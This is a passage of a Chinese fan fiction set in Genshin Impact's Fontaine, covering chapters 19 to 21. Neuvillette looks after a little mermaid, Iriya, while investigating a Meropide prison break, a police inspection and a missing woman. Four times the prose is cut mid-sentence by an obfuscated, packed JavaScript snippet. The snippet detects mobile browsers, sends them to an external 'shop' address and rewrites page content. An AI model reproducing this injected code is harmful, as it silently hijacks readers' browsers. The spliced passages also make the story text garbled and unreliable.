伊芮娅也摇摇头,松开手,转而指向他身后的窗帘,“兰兰滴艹。” 这回,那维莱特明白了,“你是想要蓝色的草,或者说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049413|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要是蓝色的植物都可以?” “嘶呀!” 刚好,那维莱特的办公室里就有一盆淡蓝色的薄荷。 这是一次庭审过后,原告寄来沫芒宫的礼物,他不知道对方是什么意思,但他已经离开枫丹,无法原路退回,那维莱特便留了下来。 他起身绕到办公室的休息区,将薄荷一整盆抱过来,清出桌上一部分书,放下。 接着他帮伊芮娅扯了几朵薄荷蓝色的花冠,放到药臼之后,展开公务册开始处理,任凭小人鱼趴在一旁自个儿玩弄去了。 随着沙漏的几次翻转,那维莱特处理完每天的日常公务,已经到了十二点过几分,可以吃午饭的时间。 他转眸想问小人鱼今天中午想吃什么的时候,被伊芮娅弄出来的大动静,惊呆,僵愣了几秒。 那维莱特仔细斟酌过措辞,试探性问道:“伊芮娅是不喜欢今天衣服的颜色吗?” 闻言,伊芮娅扭过头,给他展示了一下它小心翼翼护在怀里的白裙子。 “吥呀~” “那你……”那维莱特看着小人鱼以一种诡异的姿势,整条尾巴都泡在蓝汪汪的药臼中,“在和自己玩游戏,做药浴吗?” “吥呀~” 伊芮娅点了下头,又很快改成甩脑袋的动作。 见状,那维莱特心口一震,眉眼之间,满是心疼。 是他没有给足小人鱼安全感,让伊芮娅还这么小,就懂事得买玩具只买一个。甚至与提瓦特相反的种族文化习惯,现在也改了。 他正想着,忽然听伊芮娅字正腔圆地说道:“尾巴变蓝蓝,呼噜呼噜水。” 那维莱特反应了一下,明白了它的意思,顿时感觉有些哭笑不得。 他很难理解,伊芮娅为何会觉得,只要把尾巴涂成蓝色的,它就能学会控水啊? 这么想着,那维莱特也就这么问出来了。 谁料,伊芮娅小手一伸,指向他。 “叭叭是。” “……” 那维莱特揉了揉眉心。 19.Chapter 19 7.4 Thursday 子时幽夜 那维莱特耐心和伊芮娅解释了大半天,伊芮娅才明白过来。 焉焉地“吼呀”了一声,低头看着那维莱特用餐巾给它洗尾巴。 用过午膳,那维莱特仍旧坐回了办公桌前,按照章程处理事务。 随着办公室的人进进出出,斜射到桌上的阳光慢慢偏移,小人鱼乖乖地待在属于它的一亩三分地里,玩着玩具。 转眼间,暮色昏昏,已是入夜。 再是新鲜的玩具,伊芮娅也玩了一整天了,这下也稍觉有些腻味。它立起身子,靠强有力的尾巴,爬上那维莱特已经处理完了的一堆文件,双手撑在两边,尾巴一晃一晃,甩着玩。 它就这么看着那维莱特办公,等了一会,见他将羽毛笔的笔盖合上,插入笔筒,合上文件。 “咿呀?” 「忙完啦?」 “抱歉,今天让你久等了。”那维莱特的声音里除了疲惫还夹带了不少诚挚的歉意。 “吼呀~” 「没关系的哦~」 伊芮娅咧开嘴笑了笑,随后手一拄,从文件堆上跳下来,指着放在桌子上的一幅“精美”画作。 两人怎么说也相处了几日,那维莱特现在对它的想法,不说能清楚地理解知道,最起码也能懂个七八成。 但是,对于小人鱼抽象派的画技,他只能半蒙半猜,而大部分时候,都没猜对。 那维莱特微不可见地叹了一声,伸手拿起小人鱼的画,开始品析。 纸张被裁剪成了方便小人鱼的大小,对那维莱特来说,实在太小了。他看了两眼,感觉不是很能看清,于是就拉开抽屉,拿出来了一个放大镜辅助着看。 白纸上,伊芮娅画了一个不规则的圆盘,两根粗细不同的棒子成九十度,连接圆心与圆的顶端。 “这是……” “咿呀!” 小人鱼眼睛咕噜转了一圈,指向放在桌角的沙漏。 那维莱特顿悟,和它确认道:“这是一个钟表,上面的时间是子夜12点?” “嘶呀。” 说完,伊芮娅俯下身子,把昨天画的三张画摆出来。 “你昨天被绑的时候,听到他们提及子夜十二点,而这个时间,很有可能就是他们的行动,或者……”那维莱特顺着思路,联想到了莱欧斯利说过的话,“这很有可能他们谋划劫狱的时间。” 那维莱特的目光停在伊芮娅画上的场景。 只见两个穿着袍子的人面对而谈,其中一人手里捧的圆球应该就是源水之滴。 当时小人鱼藏在源水之滴里面,两人都不知道它的存在。所以,伊芮娅听到的,应该就是他们商议后确定的行动时间。 看那维莱特淡定地拿着纸,没有动作,守在一边的伊芮娅急了。 它下午摆弄治疗玩具的时候,看见了一个输液管,上面也有一个圆形的刻度盘,脑子里突然闪过了黑袍人的话。碍于当时那维莱特一直低着头处理公务,它没找到时机和他说,于是就拖到了现在。 可以说,这是它好不容易才想起来的,怎么蓝鱼鱼看懂之后,也没有一点反应呢? “去呀!”它挪到那维莱特手边,推了推她的手臂,催促的意味不明而喻。 那维莱特浅浅笑了笑,摇摇头,“无须。” “嘛呀?”伊芮娅歪头不解,随后有些慌神,眉尾都弯垂下来。 不会是它说迟了,这个消息已经没有用了吧。 “从这三位神秘人的会面时间来看……”那维莱特将画了两次见面的两张画摆放在一起,拇指与食指捏着伊芮娅的小笔,往上写了两个时间。 他接着往下说道:“第一次黑袍A和白袍B见面,约莫在中午一点左右。第二次白袍B和黄袍C在梅洛彼得堡会合,看水面反射的光线,大概是下午四五点左右。” “这么短的时间内,只有一种可能,即白袍B把黑袍A的指令传递给黄袍C。而黄袍C已知是谋划越狱行动的看守人员布莱特,由此便可以很轻松地推断出,这些人的目的,就是劫狱。” “莱欧斯利会处理妥当的。” 伊芮娅“哼叽”了一下,抱着手,头一甩,小嘴撅得老高。 那维莱特瞅着它的小表情,忍俊不禁笑出了声,而后把它抱起来,以手为梳,给小人鱼顺了一下头发,好心帮莱欧斯利解释了一句,“他不是有意揪你尾巴的。” 伊芮娅拍了拍自己的尾巴,“咿呀咿呀咿呀……” 「我懂,它把我认成了水蛇!世界上哪有我这么漂亮的水蛇!」 小人鱼的这一句话实在是情感丰沛,以至于那维莱特没有听懂具体的意思,但单凭它急促的语气和气急扭曲了的小表情,都能感受到伊芮娅骂得有多脏。 “不许骂人,要当一条懂文明,知礼节的小鱼。”那维莱特用指腹轻轻碰了碰伊芮娅的鼻尖,教导道。 “吼嘛~~~” 伊芮娅极其不情愿地点下了头。 那维莱特没再多说什么,嘴角含着笑,捧着小人鱼回了寝室。 一龙一鱼互相道过晚安之后,各自躺下入睡。 然而,今天睡了大半个早上的小人鱼表示,它现在可是完完全全,睡不着! 于是,伊芮娅动作很轻地先将贝壳床打开了一条缝,隔着玻璃观察了一会躺在床上的那维莱特。在确定他真的入睡了之后,伊芮娅缓缓顶开贝壳,从里面溜出来,又轻轻合上了贝壳上盖,浮到水面,尾巴一弯,坐到玻璃缸壁上。 它抬起一只手,仿照着那维莱特的姿势,集中意念,心里不停默念着“水来水来水来……” 卧房里没有钟表,也没有沙漏之类的计时工具。 伊芮娅也不知道它这么试了多久,反正它的两只手换着换着来,都已经累到酸软发麻,抬不起来了,还是没有召唤出一滴水。 它有些泄气,揉了揉手臂,想最后再尝试一次。 哪成想,这一次伊芮娅成功了! 极具那维莱特标志性的“水龙王炮”缩小一百倍mini版水柱,终于问世。 只不过,伊芮娅没选好位置,坐在了床的对面,而玻璃缸又放在床头柜上。 这一发mini人鱼炮,好巧不巧,淋了睡梦中的那维莱特一脸水。 伊芮娅怔了几秒,飞快跳入水中,本想钻进贝壳床里。但它实在是太慌了,贝壳床怎么都打不开。 这一刻,它真的好后悔,刚刚为什么要多此一举,把贝壳合上盖。 不多时,水面上传来一声轻咳。 “咿呀~”小人鱼捂着脸哀嚎了一声,灰溜溜游到水面,哭丧着小脸,等那维莱特批评它。 “伊芮娅学会控水了?”那维莱特很平静地问道。 “嘛呀。” 「马马虎虎吧。」 那维莱特手伸入水中,托起伊芮娅,柔声问道:“可以再试一次吗?” 小人鱼眼睛一亮,特地身子转了半圈,背对着那维莱特,按着方才的模样,抬手,唤水。 这回,比之前还小的“mini max版”水流出现了。 那维莱特点点头,很认真地夸赞道:“伊芮娅很聪明,提瓦特没有老师可以教导你,你在只能自学的前提下,已经做到最好了。” 他的语气充满了对小人鱼的肯定与鼓励。 伊芮娅肉眼可见地乐开了花,尾鳍翘起来,两半合在一起,冲他比了个心。 随着一个“但是”落下,小人鱼吐了一个泡泡。 它心里面可明白了,所有长辈都是这样,表扬完了,接下来就到了批评环节。 只见那维莱特正色又道:“你还在长身体,不能熬夜,早睡早起利于健康……” 没等那维莱特说完,一连串敲门声打断了他。 “……”他抬眼望向门口,把伊芮娅放入鱼缸中,小声嘱咐道,“这么晚,不知道是谁来了。伊芮娅你先藏进贝壳床里,如果还是睡不着,尽量不要在陌生人前露面。” 伊芮娅点点头,鱼影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050747|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一溜烟就从鱼缸里消失了。 那维莱特扬声说了句“稍等”,换下睡衣,走过去打开了门。 入目,既是脸色阴沉,堪比黑炭的莱欧斯利。 “怎么了?”那维莱特展手邀他进来说话。 莱欧斯利走进来,脱下全套,反手甩在桌子上,一屁股在沙发上坐下。 在与客厅一墙之隔的卧室里,伊芮娅听见耳熟的声音,又从贝壳游了里出来,趴在缸壁边缘,竖着耳朵想偷听一下。 毕竟,揪过它鱼尾巴的莱欧斯利,可不是什么陌生人,它偷听地理不直,但气壮。 “今夜的行动不顺利?”那维莱特也走过来,坐下又问。 莱欧斯利恶狠狠地“啧”了一声,“他们太过卑鄙,用希格雯威胁梅洛彼得堡。” 那维莱特神色一紧,“希格雯和翠斯塔现在是什么情况?” “都没事。”莱欧斯利双手握紧,“对方是在医务室到管理区的管道里袭击的希格雯,没有发现翠斯塔的踪迹。” “昨天你们走后,我和希格雯说了这事,她早有准备。同时,对方对她也很不熟悉,不知她的实力深浅,只是把她当成了普通的美露莘来应对。” “希格雯示弱,装作被潜入梅洛彼得堡的白袍人抓住,而后将她带到特许食堂,大声叫嚷,吸引了绝大部分人的注意力。身穿黄袍的布莱特就趁此机会,把两具死尸放到格斗区,然后放了一把火。带着新入狱的两个犯人,从废弃生产区逃走。” 说到这里,莱欧斯利倍感憋气,重重锤了一下沙发扶手,“我担心希格雯的安全,就去了特许食堂,派下属去拦截他们。本来一切都很顺利,谁知道半路突然杀出来一个黑袍人,一招旋风卷过,我的人只来得及拉住了断后的布莱特,让他们给逃了。” 那维莱特拧眉再问:“挟持希格雯的白袍人呢?” “这正是我来找你的原因。”莱欧斯利从口袋里摸出一块槐木牌,递给那维莱特,“白袍人实际上是一个设计精妙的分身傀儡,我检查过了,从工艺和驱动方式上看,不像是枫丹的技术,反倒更像话本小说中稻妻的忍术邪法一类。” “另外,我与他交手时,发现他在危急时,所展现出来的防守动作和反攻的拳法路数很是熟悉。我在制服他之后,将他的动作拆解回想了一下,与警备队统一练习的拳法很像。希格雯趁其不备的时候,在他左胸射了一针反向泡泡枪。” 那维莱特手指敲了敲,“明日我会安排逐影庭的美露莘到警备队逐个脱衣检查。” “对了,还有一事。翠斯塔下午醒过一次,托我给你带句话。”莱欧斯利想了片刻,复述道,“绑架她的,应该是个女人。” 闻此言,那维莱特眸光一凝。 “行~事说完,话我也带到了,走了。”莱欧斯利站起身,语气恢复了他一贯懒洋洋的风格。 “今夜辛苦你了,回去好好休息。” 那维莱特说了几句人类的场面话,送走莱欧斯利,而后到书房在明天的日程记录里加上这两件事,回了卧房打算再休息片刻。 他一进卧室,就看见伊芮娅揉着眼睛,明明睡意都上来了,却还强撑着,一面打哈欠,一面掐自己的手臂。 “困了怎么不睡?”那维莱特走过去,半蹲下,平视着小人鱼,温柔地问道。 “咿呀~” 「在等你~」 小人鱼身子前倾,侧脸碰了碰那维莱特的面颊。 “睡吧,明天我有需要外出的工作,刚好可以带你出去逛逛。” “吼呀!” 他帮小人鱼掖好海草被子,拉灭床头灯,平躺在软床上,等听到耳边传来平稳的呼吸声,他才安心阖眼。 入睡之前,那维莱特突然想起今天下班之前,他听专门盯梢露西恩的下属汇报了一嘴。自他早上与露西恩谈话之后,下午她就牵着一脸惨白,看上去状态不妙的弗米莉来了沫芒宫。 明天还是抽个时间,见见她吧,作为弗蕾丝的表妹,难说弗米莉会知道些什么。 20.Chapter 20 7.5 Sunday 清早日丽 一如昨日,那维莱特早早起来,去千织屋取了做好的衣裙,又去买了昨早上小人鱼吃得很高兴的鱼片糊糊,而后返回沫芒宫,将伊芮娅从粉色贝壳床里提溜出来。 伊芮娅扁着嘴,没精打采地垂着头,坐在它的专属座位上,时不时打两个哈欠,捏着定制小汤勺有一搭没一搭捡着碗里的鱼片吃。 那维莱特瞧着它胃口不佳的挑食模样,顾及到小人鱼没睡够,有点起床气也正常,只姿势优雅地端起杯子,喝了口凉茶去去火气。可他忍了又忍,终究是在伊芮娅不慎勺子一翘,把米糊洒到桌上后,破功无奈问道,“不好吃吗?” 伊芮娅摇摇头,嘴里还含着一块鱼片,答道:“只想恰鱼。” 那维莱特下意识垂眸,目光落在他刚刚已经喝完的空碗上。今天杂粮米糊里的鱼片好像放的确实比昨日少,鱼肉也更完整,没有碾成小块。 他收回想要教导小人鱼不要挑食话,淡淡“嗯”了一声,心里默默记下,之后还是要买纯鱼肉的菜品,或者让店家做的时候多放些鱼肉。 用完早餐,那维莱特抬手,凌空一划,一个在光的折射下,四周流转着彩虹色光晕的透明泡泡出现了。 “今早我往回走的时候,看见三个小孩子在玩肥皂泡泡枪。我受此启发,借用肥皂泡泡的样貌,往源水之滴的外部,施加了一层障眼法。”那维莱特一面托着伊芮娅,将它放进去,一面解释道。 “能适应吗?” 伊芮娅轻轻摆动尾巴,游了一小圈,感觉除了往外头看多了一层雾蒙蒙的磨砂感以外,和之前的源水之滴没有分别。 “可呀~” 那维莱特浅浅微笑,“嗯,那就好。” 他到办公室算着时间,紧赶慢赶处理完今日的公务,在临近十一点,外面日头渐渐毒辣的时候,去到了警备队日常训练的场所,突击检查。 也是巧了,那维莱特刚到警备队门口,迎面遇上了握着一个文件袋,神色焦急的奥利维尔。 “那维莱特大人,午安……”奥利维尔望着他,微微一愣,而后快步上前。 “像皮球杀人案里的两位死者,由赛德纳给的现场尸检报告,和后面逐影庭出具的验尸报告结论有所出入。”奥利维尔冲着那维莱特晃了晃手里的文件袋,语速极快,“队长不在,我早先时候和验尸官约好,现在要去逐影庭核实报告,您看……” “你去忙吧。”那维莱特稍稍侧身,让开路,吩咐道,“现场尸检报告、验尸报告和核对后的报告,三份,抓紧时间尽快递到沫芒宫。” “好的,那维莱特大人。最迟今晚五点之前,一定能放到您的办公桌上。”奥利维尔一口答应下来,而后迈着极大的步子,擦过那维莱特的肩膀,越走越快,几乎是小跑着离开了。 那维莱特一脚迈过门槛,蓦然顿住,回过头,盯着他逐渐变小的背影,看了片刻,方才走进警备队的建筑内部。 日常负责管理警备队时常往他办公室跑的两位队长都不在。警备队的其他人那维莱特都不是很熟。 这个点正是警备队统一出操,训练的时间。那维莱特从大门一直走到训练场,都没遇见人。 进了训练场地,那维莱特随手招来坐在一边休息的几位警备队员,请他们向带队训练的各分队长传个话。 片刻后,除在外办事之外的所有警备队成员,都停下训练,紧急集合,列队整齐地排在了操场上。 警备队的秘书长拿着名单,在安排各小队点名核实了人数之后,同那维莱特汇报道:“枫丹廷警备队合计五千六百一十三人,除外出办案五百八十七人,巡查执勤两千二百五十四人,余下两千七百七十二人均已到场,请最高审判官大人示下。” 那维莱特高居看台之上,左手背在身后,俯视着下方乌压压一大片,三两句话大概说了说昨夜在梅洛彼得堡发生的越狱事件。 在外人看来,他身姿笔挺,仪态威严,脸上瞧不出什么明显的情绪,一如往常般沉着冷静。 只是漂浮在他肩头的透明泡泡,时不时会抖动一下,有些奇怪。并且泡泡可可爱爱的整体气质,与最高审判官大人的风格也不太搭配。 那维莱特话音刚落,站在他后侧方的秘书长急急上前一步,一手扶在看台栏杆上,一手捏着名单直指操练场,大声喊道:“大家都听见没?昨夜,有人去梅洛彼得堡站劫狱,上半身胸膛的位置,被反向针射伤了。” “然后呢,那维莱特大人?”说完,秘书长偏过头,手掌成十字握在一起,弯成圆弧形的嘴角几乎裂到了耳根子上。 他刚小声问完,就立马反应了过来,猛一拍秃成了地中海的半光脑袋,双手撑着栏杆,上半身完全向前探出看台,冲下面大声吼叫道:“快,下面所有人,都给俺麻溜地把上衣脱了。” “各分队的小队长带头,奇偶数队列交换互相检查,所有上半身,尤其是前胸带未愈合伤口的人,出列,站到队列最前面!” “所有人听清楚了,梅洛彼得堡的劫狱事件,毫无疑问,是在挑战枫丹律法的威严。是在违逆初代水神大人所制定的,目前已经在枫丹延续了千百年之久的规定。参与其中的人,都是视神明的恩赐于无物的渎神罪人。大家能接受这样的人,当你的同事,与你朝夕相处、抵足而眠、用餐饮茶、聊天吹牛吗?” 台下传来群起激昂的齐合声:“不能!” 趴在泡泡内壁往外看的伊芮娅被吓了一激灵,尾鳍抬起,拍了拍那维莱特的手腕。 “好!”秘书长背脊挺得笔直,扯着嗓子:“快快快,所有人,动起来!注意,不得包庇,不得瞒报、漏报、假报。如有违者,无论情节大小,均按枫丹律法处罚。” 接着,演练场乱哄哄动了起来。 秘书长抽出放在胸前口袋里的手帕,掩住嘴,背身咳嗽了两下。 “不好意思啊,那维莱特大人,让您见笑了。俺是文员很少喊话指挥,一般都是队长和副队来。今天也是赶巧了,他们两人都不在。” “特莱斯顿先生过谦了,你很有领导的风范。”那维莱特淡淡说道,清冷的目光从秘书长身上收回,重新投向场地内。 警备队的效率不错,两人在看台上约莫等了一刻钟,场下就已检查完毕,恢复了安静。 特莱斯顿秘书长一路倾身伸手在前,为那维莱特引路下去。 马上要到人前,那维莱特自然是不可能再把手藏在身后,施法穿过布局空间,将整个手掌都挪到伊芮娅所在的泡泡里,陪着它。 在队列的最前方,一共横向排列了五十九位上身带伤的警备队员。 那维莱特双手自然垂落在身侧,从第一人,逐一检查前胸伤痕,是否与希格雯的反向针吻合。 很快,他就踱步看到了最后一人。 结果不尽如人意,那维莱特对秘书长摇了摇头,“没有。” 特莱斯顿一怔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151765|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,犹豫片刻,说道:“需不需要提前换班,把在外执勤的人召回来,检查一道。” 那维莱特想了想,否决道:“按警备队的轮班执勤表,现在在外值班的队员,昨夜也在值班,只需……” 特莱斯顿立马接话,“我去把昨天的换班申请调出来。” 那维莱特“嗯”了一声,转身对面前众人道:“麻烦诸位了,已经检查完了,大家可以带队离开恢复训练了。” 等操练场散去,那维莱特才提步与特莱斯顿一起走到办公区。 特莱斯顿把那维莱特带到他的办公室里,拿出前天整合汇报上来的昨夜调班申请统计表。他盯着那维莱特的注视,仔仔细细核查了一遍,也没有从中发现任何异常。 “那维莱特大人,在场的,值班的都没问题,出任务的队员更是目前都不在枫丹,这两天也没有他们的出入境记录。你看这……” 特莱斯顿孥了孥眼睛,有些不敢说。 那维莱特问道:“什么?” “会不会……会不会是梅洛彼得堡的公爵大人,弄错了?”避讳地内容都直接说出来了,后头的话,特莱斯顿也就没什么顾忌,直言道:“毕竟公爵大人,一向看我们警备队不太顺眼。而且在我的印象中,公爵大人与警备队没有任何交手记录。” 特莱斯顿摸着山羊胡子,摆出一副高深莫测的模样,“他是怎么知道,我们警备队融合了百家之长后,由上一任队长大人研创的拳法路数,还能在那般危急的情况下,分辨出来?” 那维莱特没有回答,也没有解答他的疑问,沉默一会后,问道:“全部人都查过了吗,没有疏漏?” “那是当然!”特莱斯顿非常肯定,“除了两位外出的队长,其他所有人,俺能保证,都检查了,绝对不可能有问题!要是之后查出来,真是俺们警备队的人,我自请处分,下岗受罚。” 此言一出,他好像轻松了不少,甚至都有心情讲起了玩笑话:“那维莱特大人,现在都查过一遍了,我们总不能把怀疑的目光放到两位兢兢业业的队长身上吧。是谁都不可能是他们两人啊,您说是这个理吧。” “事发突然,没有来得及提前通知,非常感谢警备队的配合。今日是我冒昧,打搅你们了。沫芒宫仍旧有不少事务等待我处理,我先回去了,如果后续需要警备队的配合,我会再派人过来。”那维莱特话音微顿,“当然,也希望秘书长平日能够更加留心身边的人事物,如发现异常之处,还望能够及时向沫芒宫汇报情况。” 特莱斯顿笑眯着眼,点头如捣蒜,“会的会的”、“一定一定”、“必须必须”三连附和,通通应下了。 在他看不见的地方,本来就因为那维莱特收回手,而不开心的小人鱼,在听他这般敷衍应答之后,很无语地翻了个大大的白眼,鱼鳍不自觉划了划,在泡泡形态的源水之滴内部搅起两个小漩涡。 那维莱特很有礼貌地对秘书长特莱斯顿表达了感谢,离开了警备队。 回去的路上,一龙一鱼路过了德波大饭店,伊芮娅摸着肚子,指了指身侧庞大的建筑物,“饿呀。” “我们回沫芒宫吃可以吗?”那维莱特停下脚步,侧头与它商量道,“现在十二点半了,下午一点半,我约了弗米莉面谈,在德波大饭店吃,可能会有些来不及。” 好在小人鱼只是饿得厉害,又刚好看见,想起来了,也不是说非要在外面吃,好说话地“吼呀~”一声,继而催着那维莱特快些走。 21.Chapter 21 7.5 Sunday 正午风和 中午,一龙一鱼都已经在饭桌上坐好了,突然来了一位不速之客,加入他们一起用餐。 水神芙宁娜端着一盘小蛋糕进来,一屁股坐下,翘起二郎腿,在那维莱特和伊芮娅的面前,各放了一个制作精美的璃月式点心。 “来,尝尝,街角新开了一家璃月风格的甜品店,今日刚刚营业,这是他家推出的特色新品。我试吃了一个,口味还是很不错的,奶油绵密、蛋糕Q弹、水果也新鲜。还有开业活动,买二送一,刚好给你们换换口味。” 这还是伊芮娅头回见这么精美的小点心,眼珠子都快黏在上面了。它头也不抬地说了句“蟹蟹呀~”,就迫不及待地握着小叉子,挖下来一小块,塞到了嘴里。 芙宁娜特别期待地望着它,等待着小人鱼给出评价。 “口感不错,里面夹心的黏糊糯米,是枫丹不太常见的食材。” 那维莱特咬了一口,又端起杯子送了口水,评价道:“这应该是一道璃月的传统点心,虽然外皮略微有一点干涩,但是点心自带的花瓣香味,与水果碎的蜜甜味很好的融合在了一起,形成了一种独有的,很新奇的口感,一口下去甜而不腻,香而不艳,酥而不脆。总体来说,味道还是很不错的。” 芙宁娜抱着胸,下巴一抬,神情倨傲:“哼,那是当然。这要是什么寻常的东西,或者常吃的口味,我也不会特意买来给你们的。” 伊芮娅嘴里的一口,也慢吞吞嚼完了,然而作为一条血统纯正的鱼,这类花果甜味的点心不太符合它的口味,虽说不难吃,却也不觉得好吃。小人鱼更不像那维莱特,能说出来这么长一大串的点评之词,但对上芙宁娜的眼神,它带着一点小小的违心,轻轻点了点头。 芙宁娜满意了,脸上的笑容变得越发明艳。 一龙一鱼一人,没一会就吃完午饭。那维莱特一边清扫掉在桌面上的酥皮残渣,一边问道:“我记得今天早上下午各有一场歌剧,你专程从歌剧院跑回来这一趟,就只是送点心吗?” “哎对!”芙宁娜赶忙站起来,“怎么差点把正事给忘记了。” “我本来是不打算回来的,甚至连中午在歌剧院里吃的茶点都已经准备好了。但是……”芙宁娜竖起食指,虚空点了点,神神秘秘道,“我在歌剧院发现了一件很诡异的事情。” “咿呀!” 听见这种话题,小人鱼立马就兴奋了起来,立起尾巴,在桌面上一跳一跳地往芙宁娜的方向挪。 那维莱特无奈地手比月牙状,用虎口架在小人鱼的胳膊肘下面,把它“拎”到了芙宁娜面前。 “早上的歌剧散场后,我怕子民太过爱戴我,对我过于热情,造成人群密集,发生什么事故。我就在演员谢幕的时候,提前走了几分钟,偷偷躲到了歌剧院后方,也就是受到管制的,普通枫丹居民不得进入。或者说整个枫丹廷,也就一巴掌数得过来的人,才可以进去的,连通梅洛彼得堡的升降圆盘那里散步。” “我走在上面,听到了圆盘下面,传来了奇怪的声响。就仿佛……仿佛一个女人被帕子堵住了嘴,声音发不出来,只能用微弱的嗓音,在不停地嘶嚎哭泣一般。” 闻言,那维莱特不解自语道:“圆盘下方是一个垂直的圆柱形管道,距离下到梅洛彼得堡的手续办理区,足有百米之远。怎么会出现一个痛哭挣扎的女声。” 芙宁娜摊手,“这我就不知道了,如果没有开庭审判有罪需要入狱之人,升降圆盘按照枫丹的律法规定,是不能打开使用的。梅洛彼得堡我也没有去过,所以就回沫芒宫找你了。” 对于路上看见蛋糕店,光顾着品尝美味,把这个发现抛之脑后的事,芙宁娜选择性跳了过去,闭口不谈。 那维莱特与她共事多年,熟知她的脾性,十分善解人意地没有点破,请芙宁娜暂时帮忙照顾伊芮娅一刻钟,他到办公区,安排人去梅洛彼得堡调查一下具体的情况。 没一会,在陪小人鱼玩水球的芙宁娜,只听“嘭”的一声,那维莱特脸色阴沉,黑如锅底,推开门快步走了进来。 “这是怎么了,能把你气成这样?”芙宁娜眉尾抬了抬,疑惑道。 “我去一趟梅洛彼得堡。”那维莱特大步流星走过来,抱起小人鱼,把它放回泡泡里,转身就往外走。 芙宁娜赶忙跟上去,“哎?你出去办案,怎么还要带着小人鱼去?” “伊芮娅见过幕后之人,这一次,我们兴许在梅洛彼得堡能遇见他们,它说不定可以认出来。” “嗷,这样啊。”芙宁娜止步,冲着他们挥了挥手,“那我就不去了。那地方又黑又暗,整一个阴气森森的,不喜欢。” 那维莱特也停下了脚步,回头嘱咐道,“你下午看歌剧的时候,多注意周围,最好带几个警备队员或者发条机关。” “两地离得极近,并且对方实力强劲,升降圆盘并非坚不可摧之物。” 芙宁娜身子往后一缩,连连摆手,“我不去了,不去了。才不是因为我害怕,主要是下午的歌剧很无聊,演的《茶花女》,我都看过几百遍了。” 那维莱特微低下颌,“嗯”了一声,匆忙离开了。 伊芮娅从水缸里被一把捞到泡泡里面,看着那维莱特入水之后,四周景物“刷刷刷”地往后退,还有些晕乎乎的,反应不过来。 仅仅一刻钟半的功夫,那维莱特就从沫芒宫,游到了梅洛彼得堡。 上了岸,速度没有那么快了,小人鱼才稍稍回过神来,小手卧床拳头,敲了敲球壁。 “不是一半呀,浮米丽?”它的声音传出来,有些含糊不清。 “我方才去办公区,碰巧遇上文秘去叫弗米莉回来。她在客房没有找到人,绕了一圈不见她的踪迹,担心她失踪遇害,正想来找我汇报。” “作为第一位受害人弗蕾丝的唯一亲属,弗米莉早不出事,晚不出事。怎么就能这么巧地,卡在我要与她谈话的时候,下落不明了。” “我随之联想到芙宁娜说的升降圆盘有异动,直觉告诉我,那个挣扎求救的女声,有极大的可能性,就是弗米莉。” 伊芮娅听得半懂不懂,本能地鼓了几下掌,“吼厉害!” 那维莱特偏头扫过它一眼,脚步蓦然顿住,盯着泡泡,目光逐渐变得幽邃。 “咿呀?”小人鱼见他的视线投射在了自己的方向,以为是自己身上有什么东西不妥,下意识伸手拍了拍裙子。 谁料,那维莱特突然来了一句:“我知道凶手是怎么作案的了。” 伊芮娅满脑袋问号,顺着他的话,尾音上扬,“咋呀? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151766|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那维莱特微不可见叹了一声,“其实答案已经很明显了。” “现在不是说话的时候,先救弗米莉。” 那维莱特脚尖点地,几个起落,到了莱欧斯利的办公室,让他去叫希格雯,随后那维莱特马不停蹄地冲到了升降圆盘处。 负责处理梅洛彼得堡入狱手续和登记业务的几个工作人员,看见最高审判官大人,无不惊讶,相互对视了一眼,整齐划一地站起身,迎过来。 “你们往后,稍微站远一些。”那维莱特示意他们退到入口处,而后抬起右手。 几位工作人员,满头雾水,又很是好奇地趴在门框后面,伸长脖子,把脑袋够出来,目不转睛地盯着最高审判官蔚蓝色的背影。 只见,先是源源不断的水自那维莱特脚底涌出,而后水流汇聚,一道冲天水柱托举着他向上升起,直至视线不可及之处。 片刻后,只听上面“咚”地响了很大一声,水柱随之慢慢降下。 这一次,那维莱特的身后,比起刚才,多出了一只巨大的黑色像皮球。 安全落地后,他凝水为刃,小心地割开像皮球。 